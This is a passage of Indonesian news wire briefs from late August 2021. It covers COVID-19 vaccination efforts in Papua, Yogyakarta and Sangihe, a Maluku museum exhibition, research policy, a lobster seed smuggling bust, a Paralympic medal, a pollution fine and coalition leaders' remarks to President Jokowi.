sesuai target dari Presiden Joko Widodo (Jokowi). Dalam rangka mempercepat vaksinasi, Sigit berharap prajurit TNI, Polri, pemda dan masyarakat melakukan sosialisasi dan imbauan kepada masyarakat tentang pentingnya disuntik vaksin. Kemudian, melakukan jemput bola untuk melakukan vaksin di sekolah, gereja hingga desa-desa. "Lakukan sosialisasi kepala para tokoh adat, tokoh agama, masyarakat gereja tentang lokasi atau gerai vaksinasi yang tersedia. Strategi vaksinasi agar masyarakat mengetahui kegiatan vaksinasi yang perlu percepatan. Lakukan kreatifitas dengan strategi vaksinasi mobile atau door to door, vaksinasi massal di sekolah dan gereja, vaksinasi massal di rumah kepala adat/desa, vaksinasi bakar batu," kata Sigit.(sws)

Pengunjung Pameran "Sejarah Maluku" Museum Siwalima Capai 665 Orang

Ambon, FNN - Jumlah pengunjung pameran "Sejarah Maluku dari Masa ke Masa" yang digelar oleh Museum Siwalima Provinsi Maluku pada 19-27 Agustus 2021 untuk merayakan hari ulang tahun (HUT) ke-76 Republik Indonesia, mencapai 665 orang. "Hingga penutupan kemarin jumlah pengunjung pameran kita sebanyak 665 orang, pengunjung daring ada 516 orang, sedangkan luring sebanyak 149 orang ," kata Kepala Museum Siwalima Provinsi Maluku Jean Esther Saiya di Ambon, Sabtu. Pameran "Sejarah Maluku dari Masa ke Masa" merupakan kerja sama Museum Siwalima dan Museum Maluku (MuMa) di Belanda untuk merayakan HUT Indonesia dan Provinsi Maluku yang sama-sama berusia ke-76. Pameran yang dibuka oleh Kepala Dinas Pendidikan dan Kebudayaan Provinsi Maluku Insun Sangadji pada 19 Agustus 2021 itu, memamerkan sejumlah benda dan potret yang mengisahkan Maluku sebelum masa penjajahan, era penjajahan, kemerdekaan Indonesia hingga periode imigrasi orang Maluku ke Belanda pada 1950. Jean mengatakan pameran tersebut digelar untuk meningkatkan wawasan kebangsaan generasi muda dan rasa cinta tanah air, karena dari sana mereka bisa belajar bagaimana perubahan yang terjadi dalam sejarah dan menghargai perjuangan para pahlawan. Tingginya angka pengunjung pameran hingga mencapai 665 orang, jauh dari ekspektasi pihak Museum Siwalima karena pameran digelar saat masih pemberlakuan pembatasan kegiatan masyarakat (PPKM) level tiga oleh Pemerintah Kota Ambon. "Karena masih pandemi COVID-19 dan ada PPKM, kami tidak menargetkan angka kunjungan harus banyak, tapi ternyata jumlah pengunjung selama sepekan cukup banyak, terutama via daring," kata Jean. Dikatakannya lagi, pameran "Sejarah Maluku dari Masa ke Masa" ditutup pada 27 Agustus 2021 dengan konser mini kolaborasi 30 anak Muslim dan Kristen dari Kelurahan Waihaong, Desa Amahusu dan Kelurahan Benteng (Kecamatan Nusaniwe) yang dilatih selama 23 hari oleh Museum Siwalima dalam kegiatan "Belajar Bersama Alat Musik Tradisional di Museum". Mereka membawakan sejumlah lagu daerah, yakni Hio-hio, Maluku Tanah Pusaka, Nusaniwe dan Rayuan Pulau Kelapa dengan iringan instrumen musik tradisional Maluku seperti ukulele, suling, tifa, totobuang, gong, rebana dan toleng-toleng. Penampilan kolaborasi seni musik dari komunitas agama yang berbeda itu menjadi simbol keberagaman di Maluku. Selain kolaborasi anak-anak Muslim dan Kristen, penutupan pameran juga dimeriahkan oleh dua penyanyi pop Ambon, Olda Soselissa yang menyanyikan lagu berjudul Martha Christina dan Lola Abraham dengan lagu Bhineka Tunggal Ika. "Awalnya anak-anak ini tidak saling mengenal dan tidak sepaham, tapi harmonis alat musik yang dihasilkan oleh mereka terjalin selama 23 hari harus harus terus dibangun dalam harmonisasi hidup," ucap Jean Esther Saiya. (mth)

BRIN Cegah Replikasi Pusat-Pusat Unggulan Riset

Jakarta, FNN - Badan Riset dan Inovasi Nasional (BRIN) mencegah terjadinya replikasi pusat-pusat unggulan riset di berbagai daerah di Indonesia. "Kita tidak perlu punya di banyak tempat tetapi cukup di satu atau dua tempat tetapi benar-benar 'excellent' (unggul) yang memiliki kapasitas yang luar biasa karena hasil riset di satu tempat itu bisa langsung dipakai semuanya," kata Kepala BRIN Laksana Tri Handoko dalam webinar Sinergi Memperkuat Riset dan Inovasi Nasional di Jakarta, Sabtu. Menurut Handoko, lembaga riset bukan merupakan lembaga teritorial dan tidak seperti polisi atau tentara yang harus ada di semua tempat, tetapi cukup ada satu unit tertentu yang benar-benar unggul di satu bidang riset dan menjadi rujukan bagi semua pihak. "Di BRIN nanti pun kita akan membuat setiap unit kita meskipun itu ada di lokasi-lokasi di daerah itu adalah unit satu-satunya yang memang memiliki sesuatu bidang kompetensi, pusat unggulan di satu bidang tertentu yang tidak ada di daerah lain di Indonesia," tuturnya. Pusat unggulan riset tersebut bisa tersebar di berbagai daerah di Indonesia dan menjadi tempat acuan bagi siapa pun yang ingin melakukan riset di bidang tertentu sehingga tidak akan terjadi replikasi pusat unggulan. Handoko menuturkan replikasi pusat unggulan di beberapa tempat hanya menjadi pemborosan yang luar biasa, dan itu harus dicegah. Dengan mengembangkan pusat unggulan riset yang memiliki keunggulan yang berbeda-beda dan tidak ganda, maka akan meningkatkan kompetensi dan sumber daya riset di pusat tertentu sehingga bisa berkompetisi secara global. Tersebarnya berbagai sumber daya riset di banyak tempat telah membuat suatu unit atau pusat riset menjadi kurang mampu berkompetisi karena seolah-olah tampak kekurangan sumber daya padahal jika ditotalkan, sumber daya riset itu banyak baik dari segi manusia, anggaran dan infrastruktur. Namun, karena sumber daya risetnya diecer-ecer di berbagai tempat sehingga tampak kurang berdaya saing. Oleh karena itu, BRIN akan mengintegrasikan sumber daya riset tersebut untuk menciptakan "critical mass" yang tinggi. (mth)

Kemendes PDTT Meminta Desa Evaluasi KPM BLT DD Antisipasi Penerima Ganda

Penajam, FNN - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Penajam Paser Utara, Kalimantan Timur, menyebutkan Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi meminta pemerintahan desa mengevaluasi keluarga penerima manfaat bantuan langsung tunai dana desa (KPM BLT DD) mengantisipasi penerima bantuan ganda. Kepala Bidang Pemerintahan Desa DPMD Kabupaten Penajam Paser Utara, Nurbayah di Penajam, Sabtu, menegaskan pemerintahan desa wajib melakukan evaluasi terhadap KPM Bantuan Langsung Tunai atau BLT DD sesuai instruksi pemerintah pusat. Pemerintahan desa diminta mengevaluasi jumlah KPM bantuan sosial dari dana desa, menurut dia, agar tidak terjadi penerima bantuan ganda terhadap bantuan sosial yang disalurkan pemerintah pusat. "Pendataan ulang KPM itu untuk memastikan data penerima BLT DD tidak tumpang tindih dengan program bantuan lainnya," ujar Nurbayah. Setelah dilakukan evaluasi jelasnya, jumlah KPM bantuan sosial dari dana desa yang tersebar di 30 desa mengalami pengurangan. Dari hasil evaluasi terakhir terhadap jumlah penerima bantuan langsung tunai dana desa yang tersebar di 30 desa tersebut menjadi 2.053 KPM. Sebelumnya data penerima BLT DD di Kabupaten Penajam Paser Utara sebanyak 2.056 KPM, setelah dilakukan evaluasi berkurang menjadi 2.053 KPM. "Pemerintahan desa selaku pelaksana penyaluran sudah melakukan evaluasi data penerima bantuan sosial dari pemerintah pusat melalui dana desa itu," ucap Nurbayah. "Jumlah penerima bantuan sosial dana desa berkurang menjadi 2.053 KPM, dari evaluasi itu ditemukan data masyarakat ganda dan ada yang sudah meninggal dunia," tambahnya. Penerima manfaat BLT DD tegas Nurbayah, tidak diperkenankan atau tidak boleh menerima bantuan sosial lainnya yang disalurkan pemerintah pusat. Pemerintahan desa juga diminta segara merampungkan penyaluran bantuan sosial dari dana desa agar dapat membantu masyarakat terdampak pandemi COVID-19. (sws)

Vaksinasi COVID-19 Dinsos DIY Sasar 1.000 Lebih Penyandang Disabilitas

Bantul, FNN - Dinas Sosial Daerah Istimewa Yogyakarta menggelar vaksinasi COVID-19 di Balai Rehabilitasi Terpadu Penyandang Disabilitas (BRTPD) Pundong, Kabupaten Bantul, dengan target lebih dari 1.000 penyandang disabilitas dan pendampingnya. "Untuk kegiatan vaksinasi COVID-19 pertama hari ini, sebanyak 658 penyandang disabilitas dan pendampingnya, dan untuk besok (Minggu, 29/8) sebanyak 500-an orang, semuanya akan divaksin dengan Sinovac," kata Bupati Bantul Abdul Halim Muslih di sela meninjau pelaksanaan vaksinasi COVID-19 di BRTPD Pundong Bantul, Sabtu. Menurut dia, penyandang disabilitas masuk dalam kelompok rentan, seperti manula, sehingga vaksinasi COVID-19 atas kerja sama PKK dengan Dinas Sosial DIY, dinas kesehatan, dinas kependudukan dan catatan sipil, dan TNI/Polri ini memprioritaskan para penyandang disabilitas di Bantul. "Diberikan vaksinasi di awal-awal ini dengan harapan terjadi kekebalan kelompok di kalangan penyandang disabilitas, sehingga mereka lebih nyaman dan percaya diri karena sudah divaksin," katanya. Ketua Tim Penggerak Pemberdayaan Kesejahteraan Keluarga (PKK) DIY GKBRA Adipati Paku Alam X dalam sambutannya mengatakan, vaksinasi untuk penyandang disabilitas dengan Vaksin Sinovac ini merupakan yang pertama di DIY. Menurut dia, Dinas Sosial DIY menerima 11.000 Vaksin Sinovac yang sebelumnya direncanakan untuk jamaah calon haji, tetapi karena tidak ada pelaksanaan ibadah haji tahun ini, maka vaksin tersebut dialihkan untuk penyandang disabilitas dan keluarganya. "Jumlah 11.000 vaksin itu tentunya kurang. Saya harap nantinya para penyandang disabilitas dan pendampingnya diberikan vaksin yang lain, lebih cepat lebih baik, karena vaksin ini sangat penting untuk melindungi dari penularan COVID-19, dan apabila terpapar, tidak terlalu parah berdasar sejumlah penelitian," katanya. Menurut dia, dengan vaksinasi COVID-19 ini akan meningkatkan imun tubuh, sehingga pihaknya juga mengajak kepada masyarakat untuk ikut vaksinasi agar tidak mudah terjangkit virus corona. "Namun setelah divaksin tetap patuhi protokol kesehatan, selalu mengenakan masker, mencuci tangan pakai sabun dengan air mengalir, kurangi mobilitas, jaga jarak dan jauhi kerumunan. Protokol kesehatan ini harus menjadi gaya hidup kita di era pandemi," katanya. (sws)

Polres Tanjungjabung Timur Gagalkan Penyeludupan 58.072 Benih Lobster

Jambi, FNN - Anggota Satreskrim Polres Tanjungjabung Timur menggagalkan rencana penyeludupan 58.072 ekor benih lobster melalui perairan Tanjungjabung Timur, Jambi, ke Malaysia pada Jumat (27/8) malam. Kapolres Tanjabtim, AKBP Andi Muhammad Ichsan Usman, melalui keterangan resminya yang diterima, Sabtu, menjelaskan bahwasanya anggota Satreskrim pada Jumat malam sekira Pukul 21.00 WIB melaksanakan patroli rutin untuk menjaga kamtibmas menemukan dan mencurigai satu unit mobil toyota Inova warna hitam karena melarikan diri saat akan diperiksa. "Karena mobil yang curigai tersebut kabur, maka oleh anggota di lapangan dilakukan pengejaran sampai di Kelurahan Parit Culu II, Kecamatan Sabak Barat dan ditemukan mobil dalam keadaan berhenti dengan mesin mobil mati serta sopir tidak ada atau sudah melarikan diri," kata AKBP Andi Huhammad Ichsan. Tim patroli kemudian melakukan pemeriksaan terhadap mobil innova tersebut dan hasilnya ditemukan 10 box styroform yang diduga berisikan benih bening lobster. Berdasarkan pemeriksaan dari pihak BKIPM Jambi menyebutkan hasil temuan anggota Satreskrim Polres Tanjab Timur tersebut berupa benih lobster atau baby lobster sebanyak 58.072 ekor yang terdiri dari 56.500 jenis pasir dan 1.572 jenis mutiara. Andi Muhammad Ichsan mengatakan dari 58.072 ekor benih lobster itu total kerugian negara diperkirakan Rp5,8 miliar. Saat ini barang bukti baby lobster telah diserahkan oleh Polres Tanjab Timur kepada BKIPM Jambi yang diperkirakan akan dilepasliarkan di perairan Sumatera Barat atau di periaran Berhala, Kabupaten Tanjungjabung Timur, kata Kapolres AKBP Andi Muhammad Ichsan Usman. (sws)

Kapolri: Penanganan COVID-19 di Papua Perlu Langkah Luar Biasa

Jakarta, FNN - Kepala Kepolisian Indonesia, Jenderal Polisi Listyo S Prabowo, mengatakan, penanganan Covid-19 di Papua memerlukan langkah luar biasa agar jumlah kasus yang melandai terus dipertahankan guna mengantisipasi lonjakan kasus saat Pekan Olahraga Nasional (PON) XX/2020 di Papua dihelat. Ia menyatakan itu dalam rapat pengarahan bersama Panglima TNI, Marsekal TNI Hadi Tjahjanto, dengan Forum Koordinasi Pimpinan Daerah (Forkopimda) Kabupaten Mimika dalam rangka persiapan jelang PON XX/2020 di Papua, Sabtu. "Kondisi kasus Covid-19 di Papua yang sudah melandai pasca-lonjakan kasus pada 8 Agustus 2021 harus dipertahankan dengan langkah-langkah luar biasa. Jangan sampai terjadi lonjakan kasus kembali ketika PON XX/2020 Papua dilaksanakan," kata dia, dikutip dari keterangan pers diterima di Jakarta, Sabtu. Menurut dia, persiapan dengan langkah luar biasa itu bisa dilakukan dengan cara menerapkan protokol kesehatan yang ketat bagi atlet, pelatih, petugas, tamu undangan, dan panitia PON XX/2020 Papua. Untuk itu, dia, strategi pengendalian Covid-19 yang dapat dimulai sejak keberangkatan, ketibaan, dan saat menetap ketika menjalani pertandingan. Para peserta yang hendak berangkat mengikuti PON XX/2020 harus uji Covid-19 dalam waktu dua atau tiga hari sebelum berangkat ke Papua. "Kurangi kontak fisik dengan orang lain selama 14 hari sebelum keberangkatan. Siapkan daftar nama orang yang kontak erat untuk divalidasi petugas Covid-19 PB PON XX. Laksanakan protokol kesehatan sesuai rekomendasi Kementerian Kesehatan, termasuk mengganti masker setiap hari atau masker kain dilapis dua atau tiga," kata dia. Lagkah selanjutnya, kata dia, Forkopimda diminta aktif memastikan penerapan 3M (memakai masker, mencuci tangan dan menjaga jarak) saat seluruh peserta tiba di Papua, termasuk kewajiban menyerahkan hasil uji Covid-19. Selanjutnya, ketika menetap untuk mengikuti pertandingan, dia meminta agar Forkopimda melakukan pengawasan ekstra ketat. Di antaranya, membatasi aktivitas atau hanya sebatas menjalani tugas dan peran. Lalu, wajib melaporkan kondisi kesehatan melalui aplikasi pelaporan kesehatan PB PON XX/2020 atau ke dokter kontingen masing-masing. "Bila dianggap perlu maka akan dilaksanakan uji Covid-19. Tes akan dilakukan secara reguler selama PON berlangsung, sesuai tugas dan peran masing-masing. Jika hasil tes positif maka akan dilakukan isolasi mandiri atau dirujuk ke rumah sakit sesuai pedoman Kemenkes. Akan ada penelusuran terhadap kontak erat," kata dia. Selain itu, dia juga mendorong Forkopimda Mimika untuk penguatan 3T (penelusuran, pengujian, dan penanganan) serta akselerasi program vaksinasi massal. Personel TNI dan polisi diminta membantu pemerintah daerah melakukan percepatan vaksinasi guna mewujudkan kekebalan komunal masyarakat di sana. Untuk mempercepat vaksinasi di Papua, kata dia, akan disiapkan tempat di sekolah-sekolah, menyasar target siswa dan orang tua murid. Serta, di tempat-tempat ibadah untuk para masyarakat. Direncanakan vaksinasi dengan cara jemput bola dari pintu ke pintu sampai ke tingkat distrik (kampung). Tidak hanya itu, langkah pengendalian Covid-19 di Papua, kata dia, adalah sosialisasi dan edukasi kepada masyarakat untuk mau menjalani isolasi di tempat isolasi terpusat yang telah disediakan. Menurut dia, hal itu akan lebih baik untuk kesembuhan masyarakat yang terpapar virus Covid-19 dengan gejala tertentu, karena isoter ditunjang fasilitas memadai dan diawasi penuh tenaga kesehatan. Pada akhir pengarahannya, dia menegaskan pelaksanaan PON XX/2020 Papua juga bisa membangkitkan roda perekonomian masyarakat setempat. Oleh sebab itu, faktor kesehatan di tengah pandemi Covid-19 harus diperkuat. (sws)

Pemkab Sangihe Berharap Segera Dapat Tambahan Vaksin dari Provinsi

Sulut, Sangihe, FNN - Pemerintah Kabupaten Kepulauan Sangihe Sulawesi Utara berharap segera mendapat tambahan vaksin COVID-19 dari pemerintah pusat dan provinsi yang saat ini sangat dibutuhkan. "Kami sangat berharap segera ada tambahan vaksin COVID-19 bagi kami yang ada di wilayah Kabupaten Sangihe yang membutuhkan tambahan vaksin," kata Kadis Kesehatan Sangihe, Jopy Thungari di Tahuna, Sabtu. Pemerintah Kabupaten Sangihe kata dia sudah sejak bulan Juli sudah menyampaikan informasi ke pemerintah Provinsi Sulawesi Utara agar segera di kirim tambahan vaksin karena stok sudah menipis. "Target yang ditetapkan setiap hari seribu warga yang di vaksin tidak terealisasi karena kekurangan vaksin," kata dia. Sampai saat ini kata dia, baru 25.234 orang warga masyarakat di vaksin COVID-19 dosis yang pertama dari target 113.631 masyarakat. "Masih cukup banyak warga yang belum di vaksin sebab baru 25.234 atau 22,21 persen dari target 113.631 di Kabupaten Sangihe," kata dia. Kabupaten Sangihe kata dia, sempat terjadi lonjakan kasus pada akhir bulan Juli sampai pertengahan Agustus sehingga ditetapkan sebagai zona merah penyebaran COVID-19. "Kami bersyukur, Sangihe sudah keluar dari zona merah atau risiko tinggi penyebaran COVID-19 sekalipun saat ini masih berada di zona oranye atau risiko sedang," kata dia. Pemberian vaksin dosis dua terus dilaksanakan sambil menunggu tambahan pengiriman vaksin dari pemerintah pusat dan provinsi. Pemberian vaksin kepada anak usia 12-17 tahun juga sementara dilaksanakan sebab sudah diterima vaksin Biofarma. "Kami sedang menggelar vaksinasi bagi anak usia 12 sampai 17 tahun termasuk vaksin Moderna bagi tenaga kesehatan," kata dia. Thungari menghimbau warga agar tetap mematuhi protokol kesehatan agar terhindar dari penularan COVID-19. "Kami mengimbau semua warga agar tetap melaksanakan protokol kesehatan, untuk mencegah penyebaran virus COVID-19," kata dia. (sws)

David Jacobs Sumbang Perunggu untuk Indonesia di Paralimpiade Tokyo

Jakarta, FNN - Kontingen Indonesia meraih medali ketiga di Paralimpiade Tokyo 2020 melalui David Jacobs yang menyumbang perunggu pada cabang olahraga para-tenis meja kelas 10 perorangan putra. David Jacobs meraih perunggu setelah kalah dari wakil Prancis Mateo Boheas pada semifinal yang berlangsung di meja tiga Tokyo Metropolitan Gymnasium, Sabtu, dengan skor 2-3 (9-11, 8-11, 11-3, 11-5, 8-11). Semifinal cabang olahraga para-tenis meja kelas 10 memang langsung memperebutkan perunggu. Artinya, Jacobs yang menelan kekalahan tidak harus kembali bertanding untuk memperebutkan posisi ketiga. Jacobs meraih perunggu bersama wakil Montenegro Filip Radovid yang juga kalah di babak empat besar dari unggulan pertama asal Polandia Patryk Chojnowski dengan skor 1-3 (11-13, 11-9, 4-11, 9-11). Adapun Patryk Chojnowski dan Mateo Boheas berhak melaju ke final dan akan memperebutkan medali emas pada Minggu (29/8). Perunggu dari Jacobs menambah pundi-pundi medali Kontingen Indonesia di Paralimpiade Tokyo 2020. Sebelumnya, skuad Merah Putih juga meraih perak dari cabang olahraga para-powerlifting melalui Ni Nengah Widiasih dan Saptoyogo Purnomo yang meraih perunggu pada cabang para-atletik nomor 100 meter putra T37. Dengan satu perak dan dua perunggu, menempatkan Indonesia untuk sementara di posisi 38 dalam daftar perolehan medali. Setidaknya hingga berita ini diturunkan.(sws)

Kejaksaan Bekasi Terima Denda Kasus Pencemar Lingkungan

Cikarang, Bekasi, FNN - Kejaksaan Negeri Kabupaten Bekasi, Jawa Barat, menerima pembayaran uang denda sebesar Rp150 juta dari terdakwa kasus pencemaran lingkungan hidup Nelson Siagian. "Terdakwa divonis percobaan satu tahun dan apabila denda tidak dibayar maka hukuman menjadi kurungan satu tahun tapi baru kemarin ini kita terima dari terdakwa," kata Kepala Seksi Pidana Umum Kejaksaan Negeri Kabupaten Bekasi Muhammad Taufik Akbar di Cikarang, Sabtu. Dia mengatakan kasus pencemaran lingkungan ini awalnya ditangani Penyidik Pegawai Negeri Sipil (PPNS) Kementerian Lingkungan Hidup setelah mengungkap temuan pembuangan limbah bahan berbahaya dan beracun (B3) yang tidak sesuai ketentuan. Kementerian Lingkungan Hidup, kata dia, kemudian melakukan pratuntutan melalui Kejaksaan Agung RI atas dugaan pelanggaran terhadap pasal 104 Undang-Undang Lingkungan Hidup. "Karena lokasi perusahaan terdakwa ada di sini maka kasus ini selanjutnya dilimpahkan ke kami untuk disidangkan," katanya. Taufik menjelaskan terdakwa Nelson Siagian merupakan Direktur Utama PT Nirmala Tipar Sesama (NTS), perusahaan layanan pengelolaan limbah di Jalan Kalimalang Kampung Pasir Konci, Desa Pasir Sari, Kecamatan Cikarang Selatan, Kabupaten Bekasi. "Atas tindakan terdakwa, kami sudah mampu mengembalikan pendapatan ke kas negara," katanya. Sebelum dilimpahkan ke Kejaksaan Negeri Kabupaten Bekasi, terdakwa sempat ditahan pada awal tahun lalu. PT NTS yang dipimpinnya terbukti melakukan tiga pelanggaran terhadap pemanfaatan izin perusahaan. Pertama, melakukan kegiatan pemanfaatan limbah B3 tanpa izin, kemudian melakukan penyimpanan di area yang tidak memiliki izin, dan pelanggaran ketiga melakukan pembuangan limbah ke media lingkungan tanpa izin. Perusahaan terdakwa melakukan tindak pidana dengan membuang (dumping) limbah B3 sludge minyak, minyak kotor, bottom ash, hingga minyak pelumas bekas yang berdampak pada kontaminasi tanah dari logam berat seperti arsen, barium, chrom hexavalen, tembaga, timbal, merkuri, seng, serta nikel. Terdakwa pada Juli 2020 lalu juga sempat mengajukan gugatan pra peradilan namun ditolak oleh Pengadilan Negeri Jakarta Pusat dengan alasan dalil-daling terdakwa tidak beralasan. Menurut Taufik kejahatan pencemaran limbah B3 yang dilakukan terdakwa merupakan kejahatan sangat serius sebab berpotensi membahayakan kesehatan lingkungan dan masyarakat. "Kasus seperti ini menjadi atensi khusus kami, ini merupakan kejahatan yang sangat serius karena merusak lingkungan dan kesehatan masyarakat dalam jangka panjang," kata dia.(sws)

Prabowo ke Jokowi: Tak Perlu Hiraukan Suara yang Memperkeruh Keadaan

Jakarta, FNN - Ketua Umum Partai Gerindra Prabowo Subiatno meminta Presiden Jokowi tidak perlu menghiraukan suara-suara yang dinilai memperkeruh keadaan saat pandemi COVID-19. "Penanganan (COVID-19) cukup efektif dan kita optimis kita mampu menghadapinya dan kita harus menghadapinya. Jadi kami rasa bahwa suara-suara yang ingin memperkeruh keadaan itu tidak perlu dihiraukan, kita sudah ada di jalan benar," kata Prabowo Subianto seperti dalam video yang diunggah di kanal Youtube Sekretariat Presiden pada Sabtu. Prabowo menyampaikan hal tersebut saat pertemuan Presiden Jokowi dengan pimpinan partai politik koalisi di Istana Negara Jakarta pada 25 Agustus 2021. Ada tujuh pimpinan partai politik yang ikut dalam pertemuan tersebut yaitu Ketum PDI Perjuangan Megawati Soekarnoputri, Ketum Partai Golkar Airlangga Hartarto, Ketum Partai Gerindra Prabowo Subianto, Ketum Partai NasDem Surya Paloh, Ketum Partai Kebangkitan Bangsa Muhaimin Iskandar, Ketum PPP Suharso Manoarfa dan Ketum Partai Amanat Nasional (PAN) Zulkifli Hasan. "Kepemimpinan Pak Jokowi efektif Pak. Saya mengakui itu dan saya hormat ke Bapak, saya lihat, saya saksi, saya ikut di kabinet," ungkap Prabowo. Menteri Pertahanan tersebut mengatakan kepemimpinan dan keputusan-keputusan Presiden Jokowi sudah cocok untuk rakyat Indonesia. "Tim kita saya kira bagus, tim kita di kabinet cukup kompak dan kita bekerja baik. Jadi, mohon bapak jangan ragu, 'we are on the right track'," tambah Prabowo. Sejumlah masalah untuk mengatasi pandemi seperti keterlambatan vaksinasi, menurut Prabowo, juga dialami banyak negara. "Kedua, (bidang) ekonomi juga kita optimis cukup baik dibandingkan banyak negara lain. Itu juga berhubungan pak keputusan Bapak utuk tidak 'lock down' keras, memungkinkan kita bisa selamat. Negara lain yang 'lock down' keras, malah mengalami kesulitan," ungkap Prabowo. Artinya, Prabowo menilai bahwa keputusan-keputusan Presiden terkait pandemi perlu dilanjutkan. "Jadi kita boleh bangga bahwa prestasi kita baik, saya bangga bagian dari pemerintahan ini dan kita tidak usah ragu-ragu Pak," tambah Prabowo. Dalam paparannya, Presiden Jokowi mengakui perkembangan COVID-19 sulit diduga. "Berkaitan dengan COVID-19, perkembangan kasus harian COVID-19 ini memang betul-betul sulit diduga, tapi alhamdulilah pada hari ini 24 Agustus kemarin (jumlah positif) 19 belas ribu dari 56 ribu. Inilah kira saya kira proses belajar juga yang kita lakukan," kata Presiden. Presiden menyebut ia sendiri menghubungi sejumlah negara untuk melakukan modifikasi metode penanganan COVID-19 versi Indonesia. "Mengenai keterisian tempat tidur di rumah sakit, di Mei, kita pernah mencapai 29 persen kemudian melompat di Juli sampai hampir 80 persen. Pada hari ini kita sudah turunkan lagi menjadi 30 persen, alhamdulillah. Ini juga patut kita syukuri. Semua bekerja, TNI, polri, kementerian, BUMN, pemerintah daerah semuanya," ungkap Presiden. Sedangkan untuk angka kesembuhan menurut Presiden, rata-rata kesembuhan Indonesia sudah berada sudah di atas rata-rata dunia, yaitu 89,97 persen dibanding rata-rata dunia yaitu 89,5 persen. "Yang masih belum kita bisa selesaikan, ini saya selalu saya smapaikan ke Menkes dan pemda agar angka kasus kematian ini harus betul-betul ditekan terus," tambah Presiden. Sedangkan untuk peringkat vaksinasi, menurut Presiden, peringkat Indonesia tidak buruk dari total sekitar 220 negara. "Peringkat kita tidak jelek-jelek amat sih. Kalau dihitung dari jumlah orang yang divaksin, sampai hari ini kita sudah nomor 4. India nomor 1, nomor 2 Amerika Serikat, nomor 3 Brazil, kita nomor 4, Indonesia. Kemudian kalau berdasarkan total suntikan, yang sudah disuntikkan 91,9 juta dosis. Kita kalah dengan Jerman, Jepang, Brazil, Amerika, China," ungkap Presiden. Selanjutnya terkait dengan kondisi ekonomi, Presiden kembali memaparkan strategi gas dan rem. "Karena memang kalau kasusnya turun, ekonomi pasti naik, kalau kasusnya naik, ekonominya pasti turun, sudah rumusnya itu. Kita mencari ekuilibrium, mencari keseimbangan, itulah sebetulnya yang paling sulit disesuaikan dengan lapangan di Indonesia yang juga tidak mudah karena berpulau-pulau dan untuk distribusi vaksin saja, distribusi obat-obatan saja memerlukan waktu yang tidak sedikit," jelas Presiden.(sws)

Airlangga : Penanganan COVID-19 yang Cepat Dipimpin Langsung Presiden

Jakarta (ANTARA) - Ketua Umum Partai Golkar Airlangga Hartarto mengatakan penanganan pandemi COVID-19 yang cepat adalah yang dipimpin langsung oleh Presiden Joko Widodo. “Jadi dipimpin dari pusat menggunakan TNI - Polri, kalau ini menggunakan (penanganan) yang dari bawah, ini tidak terjadi, karena kita sudah mencoba yang namanya PSBB (Pembatasan Sosial Berskala Besar), antara Jakarta Raya, Bekasi dan Kabupaten Bogor saja tidak sinkron sehingga efeknya bolak-balik,” kata Airlangga dalam Pertemuan Presiden Jokowi dengan Pimpinan Partai Politik Koalisi, Istana Negara, Jakarta, Rabu (25/8) yang diunggah di kanal Youtube resmi Sekretariat Presiden, Sabtu (28/8) ini. Terkait kebijakan ekonomi, Airlangga mengatakan pemerintah sudah melakukan reformasi besar-besaran dengan menerapkan Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja. “Ini salah satu reform (reformasi) terbesar yang dilakukan di bawah Bapak Presiden,” ujarnya. Airlangga mendorong agar pertumbuhan ekonomi Indonesia ke depan dapat jauh lebih tinggi dari rata-rata pertumbuhan yang telah dicapai. Hal ini untuk megentaskan kemiskinan dan menumbuhkan banyak lapangan kerja agar target pembangunan tercapai. “Mengenai perekonomian ke depan, kita perlu mencapai pertumbuhan di atas rata-rata yang bisa dicapai, utamanya adalah untuk mendorong penurunan kemiskinan, dan lapangan pekerjaan,” ujar pimpinan parpol yang juga menjabat sebagai Menteri Koordinator Bidang Perekonomian ini. Dalam pertemuan Presiden dengan pimpinan Partai Politik Koalisi ini hadir Ketua Umum PDI-P Megawati Soekarnoputri didampingi Sekretaris Jenderal (Sekjen) PDIP Hasto Kristianto, Ketua umum Nasdem Surya Paloh didampingi Sekjen Nasdem Johnny G Plate, dan Ketua Umum Partai Gerindra Prabowo Subianto didampingi Sekjen Gerindra Ahmad Muzani. Kemudian, Ketua Umum Golkar Airlangga Hartarto didampingi Sekjen Golkar Lodewijk Paulus, Ketua Umum PKB Muhaimin Iskandar didampingi Sekjen PKB Hasanuddin Wahid, Ketua Umum PPP Suharso Monoarfa didampingi Sekjen PPP Arwani Thomafi, dan sahabat baru koalisi Ketua Umum PAN Zulkifli Hasan dan Sekjen PAN Eddy Soeparno.(sws)

LaNyalla Serap Aspirasi Warga Rote Ndao NTT

Kupang, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI LaNyalla Mahmud Mattalitti melakukan kunjungan kerja ke Kabupaten Rote Ndao, Nusa Tenggara Timur (NTT) guna menyerap aspirasi warga di wilayah paling selatan Negara Kesatuan Republik Indonesia (NKRI) tersebut. "Saya berharap bisa menyerap banyak aspirasi dari kunjungan kerja di Pulau Rote ini, agar kita bisa memberikan solusi terbaik," katanya dalam keterangan yang diterima di Kupang, Sabtu. LaNyalla yang tiba bersama rombongan di Pulau Rote pada Sabtu (28/8) pagi langsung mengawali kunjungan kerja dengan berziarah ke lokasi kuburan para raja Termanu yang didampingi Raja Termanu Vicoas Amalo. Setelah mendapatkan keterangan mengenai keberadaan kuburan raja-raja, senator asal Jawa Timur itu menyampaikan bahwa peran kerajaan Nusantara terhadap NKRI tidaklah kecil. "Oleh karena itu kami akan berupaya agar pemerintah memberikan perhatian dan turut melestarikan kerajaan-kerajaan di Nusantara," katanya. Lokasi kuburan yang dikunjungi merupakan tempat peristirahatan terakhir dua raja yakni Kila Pelo dan anaknya Pau Kila. Di sekitarnya juga terdapat kuburan pengawal dan pembantu raja yang dipisahkan dengan pagar batu. LaNyalla mengatakan kondisi batu-batu pembatas kuburan keluarga raja dan pembantu serta pengawal tidak tampak jelas dan hampir rata dengan tanah. Oleh karena itu dia berharap makam-makam ini bisa dijaga kelestariannya dan juga bisa dikelola dengan baik agar menjadi destinasi wisata. "Sehingga ada nilai tambah untuk pemerintah dan warga Rote Ndao dan juga untuk kerajaan," katanya. Sementara itu Raja Termanu Vicoas Amalo mengaku sangat bangga atas kunjungan Ketua DPD RI untuk berziarah dan menaburkan bunga di makam raja-raja. "Kami sangat berterima kasih atas kunjungan Bapak LaNyalla di Rote. Ini membuat kami semakin optimistis bahwa kerajaan di 